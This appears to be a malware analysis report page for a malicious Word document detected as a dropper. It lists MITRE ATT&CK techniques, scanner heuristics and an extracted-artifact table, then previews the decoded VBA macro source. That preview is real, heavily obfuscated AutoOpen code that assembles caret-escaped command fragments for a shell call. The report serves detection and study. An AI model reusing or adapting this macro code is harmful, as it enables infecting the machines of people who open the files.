MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and appears to be designed to execute arbitrary code. ClamAV also detected the file as 'Doc.Dropper.Agent-6889155-0', suggesting it functions as a dropper for other malicious payloads. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination URL.
Heuristics 6
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ClamAV: Doc.Dropper.Agent-6889155-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6889155-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 149730 bytes |
SHA-256: 036db17ceb16185ae4c22cc2073490ef9e6723a99530689fe890064c69f65bb3 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NIrwHcfA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim GWiob(2)
GWiob(0) = Left(nLYjIbNk + VcoOljZzRoFMDMqILGj + OHRpbE, 750) + Right(iELPBUq + inFhwVjQXbTNYziOEz + aaizBNJ, 416) + Left(rFQKjI + voPmMUnqBqckJfHUWVS + JzWjI, 269) + Right(RlCFPn + jNWHflZUGfZoahNdPwlf + VKzPfur, 864)
GWiob(1) = Mid(HvwWULwL + tjrnZXBzLviuilKpM + ilqhirJ, 62, 41) + Right(tppTLqH + twuZBZNamWovNBFoKBwJUEA + LZThTF, 745)
Dim QfJdTd(2)
QfJdTd(0) = Left(pzcnN + SijzpZVBsdASoUqajMfjhT + OCIhzL, 408) + Mid(ZppRvdU + cwPUHBRwlnCwiwIhLfpzZjQ + wljKvrq, 938, 35)
QfJdTd(1) = Left(GQwcjbja + JofnZKnzkqQkCwCcozGLD + jMNwAqZm, 750) + MidB(XVjCz + EpfwjwbSWuDcidblr + rzOzw, 97, 732) + Mid(BuBwlQj + zYXDsjTLqCbMUahhjjtprl + bdaOt, 912, 93) + Left(coFfj + vYKpZbunBzzFifRszkcIfH + bKbCAN, 1)
Dim aDjAj(1)
aDjAj(0) = Right(svHlczW + nWJTPhwMSdGzFoMrwqs + wQjArmin, 437) + Mid(qraCv + nQJYswXjkiIOvGLWhEZopkBn + OJvaCE, 996, 772)
Dim qtvfa(2)
qtvfa(0) = Mid(DAfBqjR + bLLzmihZFqjOdooGjrrHJpj + wrWzp, 731, 620) + Left(bTHLWjUP + XqNkwpZADBJDmVatqcwAzi + VUHnur, 906)
qtvfa(1) = Left(lHXHQl + nRPUpvjVHLaqOFEfcQGS + ApvLl, 497) + Left(PLMwz + aBYjjzXBmmMGUzHIpGlZ + UZbCtmV, 481)
kiVFCYwPZnIm (KeyString(cLztJOjR + DDApiOb + 8 + 3 + 8 + 10 + 38 + rJiRZaii + GXwbHEta) + WRWIjKG + UqYUjfi + KeyString(aTafYadI + skoohnS + 10 + 3 + 9 + 12 + 43 + WiOUnzq + COvdHAA) + sMzqjLTDYv + iJotrzZvfwP + zfuWuKpO + ObYakfFfs + GjzEmGz + YzkYKzTzQR + ZzSMmMUdfT + wsunJw + JzwQnQnEcH + unIsRJkPwc + hjYNVR + zNkjui)
Dim rqRpbo(2)
rqRpbo(0) = MidB(ZDUIAR + SGzQjuToBkUjtjXfjpMmsiK + zlXial, 276, 764) + Mid(HzWdwaEj + WwcFoEKTGiYFFdCuwits + fMLOLoBf, 159, 910) + MidB(StVbI + PirVlsCmjBdEuRwrIRjtzF + KIYWWZST, 107, 777) + Right(VOmPzHR + BlddRLiptQutNKfEla + BXVtfR, 891)
rqRpbo(1) = Mid(viJWusEN + QuajabsobNKncFvSbR + cwMdX, 369, 332) + MidB(apvZarvS + FOalvTRnJvjrwhNwV + BWjzus, 31, 281) + MidB(oBpoBNRJ + iQvqWhcJiUSMDBzZLQ + vuRjD, 935, 384) + Mid(ChtkatbU + ERfWUHzMTjHkFwEtif + fPzoccI, 425, 96)
End Sub
Attribute VB_Name = "TsPYzZbwHcEvw"
Function sMzqjLTDYv()
iUrJIGJHQ = "d" + " " + CStr(Chr(8 + 3 + 1 + 1 + 34)) + "V^" + ":^" + "O" + CStr(Chr(8 + 3 + 1 + 1 + 34)) + "C" + CStr(Chr(5 + 2 + 0 + 1 + 26)) + "s" + "^e" + "^" + "t " + "@^"
mCZvnbzBQr = "+^" + "`=" + "^" + "59" + "^3" + "^" + " 1" + "^" + "9" + "5" + "^" + " " + "1"
RjXBQuncuA = "9^" + "0^" + " " + "^1" + "0" + "3 " + "0" + "^" + "3" + "5" + " ^" + "9" + "^" + "3"
pzhlwJ = "^0" + "^ " + "^1" + "^" + "3^" + "5 " + "^9" + "53"
RidIqhcQ = "^" + " ^" + "9" + "^1" + "0^" + " 5" + "^" + "3"
VrZlF = "0" + " " + "9" + "5" + "1 " + "^5" + "^0" + "3^" + " " + "5" + "^" + "9" + "0 "
MrCJzZmzUf = "^1" + "90" + "^ " + "^" + "0^" + "5" + "^9" + " ^" + "1" + "^" + "3" + "^9" + "^ " + "3" + "5"
trPtYHDG = "9 " + "^" + "5" + "03" + "^" + "}" + "^3" + "^" + "95" + "^" + "}" + "9" + "0^" + "1" + "^{"
sMzqjLTDYv = iUrJIGJHQ + mCZvnbzBQr + RjXBQuncuA + pzhlwJ + RidIqhcQ + VrZlF + MrCJzZmzUf + trPtYHDG
Dim HPGMQ(2)
HPGMQ(0) = Mid(BAoUjaDS + fHIfMHvZuAOjVRfMzWCG + BanaMT, 708, 16) + Left(PiiiYowf + mRTqAJXFldAYILUNaQNp + EmBoKY, 434)
HPGMQ(1) = MidB(kkHwaDvf + PPGWSUdSacrcwWWRL + ujYbK, 455, 891) + Mid(kjiMzzQ + qvEfPLIUihZNSUZzrw + Ivrpsic, 964, 118) + Left(VSCPRMS + PcFWQDfYSrltMXWPlrja + zcFEHlY, 26) + Right(fqUYEa + nzzbFHuqCJLjBSLzaQhSj + PtCzLKuG, 758)
Dim VWwZNv(1)
VWwZNv(0) = MidB(hjiVbFtc + GiPbMlrsrzRdOzpzADm + SJlYarSh, 447, 946) + Mid(PuJHo + isQGQNIDdWGUiDGMRB + tfhXwC, 610, 838)
End Function
Function iJotrzZvfwP()
UfiEhI = "^" + "15" + "^" + "3" + "^h" + "95" + "^" + "1c" + "1^" + "35" + "^t" + "5^"
hczKshsqfMN = "1" + "0a" + "^9" + "^3" + "^" + "5" + "c" + "5^" + "1^" + "9^" + "}^" + "5"
ioaYz = "3" + "^9" + "^" + ";" + "^0" + "^1" + "9^" + "k^" + "5" + "^" + "9" + "^0" + "^a" + "^1"
KKAYsYwYqt = "^" + "0^" + "3e" + "30" + "9r" + "3^"
... (truncated)
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